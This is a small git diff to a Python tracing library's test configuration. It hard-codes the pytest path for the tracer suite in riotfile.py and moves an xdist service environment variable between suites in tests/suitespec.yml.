2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/riotfile.py b/riotfile.py index 4e02102bde4..8b02e228d33 100644 --- a/riotfile.py +++ b/riotfile.py @@ -419,7 +419,7 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="tracer", - command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py ${{DDTEST_SUITE_PATH}}/", + command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/", pkgs={ "msgpack": latest, "coverage": latest, diff --git a/tests/suitespec.yml b/tests/suitespec.yml index dc5003b328c..8881a5b507f 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -296,7 +296,6 @@ suites: DDTEST_SUITE_PATH: tests/tracer DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py - _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.tracer KUBERNETES_MEMORY_REQUEST: "4Gi" KUBERNETES_MEMORY_LIMIT: "4Gi" paths: @@ -323,6 +322,7 @@ suites: DDTEST_SUITE_PATH: tests/tracer DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py + _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.tracer variants: - name: tracer dependencies: [msgpack, attrs, structlog, httpretty, wheel, fastapi, 'httpx<0.28.0', pytest-randomly, setuptools, boto3, freezegun]